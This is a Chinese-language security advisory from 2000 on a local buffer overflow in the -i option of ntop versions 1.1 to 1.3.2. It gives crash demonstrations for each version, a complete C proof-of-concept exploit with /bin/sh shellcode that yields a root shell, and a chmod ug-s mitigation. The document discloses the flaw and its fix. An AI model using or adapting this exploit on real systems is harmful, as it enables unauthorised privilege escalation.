ntop 本地缓冲溢出代码发布发布时间：2000-10-25 更新时间：2000-10-25 严重程度：高 威胁程度：本地管理员权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 ntop 1.1, ntop 1.2.a7, ntop 1.3.1, ntop 1.3.2详细描述 所有ntop的版本都存在-i选项中发生缓冲溢出，可以导致本地用户获得ROOT权限。 a) ntop 1.1 tshaw:/home/cb/ntop-1.1/$ ./ntop -i `perl -e 'print "A"x208'` ntop v.1.1 MT [i686-pc-linux-gnu] listening on AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Host Act -Rcvd- Sent TCP UDP ICMP Segmentation fault tshaw:/home/cb/SRCAUDIT/ntop-1.1$ b) ntop 1.2a7 tshaw:/home/cb/ntop-1.2a7$ ./ntop -i `perl -e 'print "A"x109'` Segmentation fault tshaw:/home/cb/SRCAUDIT/ntop-1.2a7$ c) ntop 1.3.1 tshaw:/home/cb/ntop-1.3.1$ ./ntop -i `perl -e 'print "A"x271'` Segmentation fault tshaw:/home/cb/SRCAUDIT/ntop-1.3.1$ d) ntop 1.3.2 tshaw:/home/cb/ntop-1.3.2$ ./ntop -i `perl -e 'print "A"x2835'` 24/Oct/2000:12:32:16 ntop v.1.3.2 MT [i686-pc-linux-gnu] (08/11/00 07:04:32 PM build) 24/Oct/2000:12:32:16 Listening on [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] 24/Oct/2000:12:32:16 Copyright 1998-2000 by Luca Deri <deri@ntop.org> 24/Oct/2000:12:32:16 Get the freshest ntop from http://www.ntop.org/ 24/Oct/2000:12:32:16 Initialising... Segmentation fault tshaw:/home/cb/ntop-1.3.2$ 测试代码 #include <stdlib.h> #include <string.h> #include <stdio.h> #define LEN 208 int main (int argc, char **argv) { char buf[LEN + 12]; int ret = 0xbffffba0; int *p; char code[]= "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80" "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc > 1) { ret += atoi(argv[1]); fprintf(stderr, "Using ret %#010x\n", ret); } memset(buf, '\x90', LEN); memcpy(buf + LEN - strlen(code), code, strlen(code)); p = (int *) (buf + LEN); *p++ = ret; *p++ = ret; *p = 0; execl("./ntop", "ntop", "-i", buf, NULL); } 解决方案 chmod ug-s path/to/ntop 相关信息 |
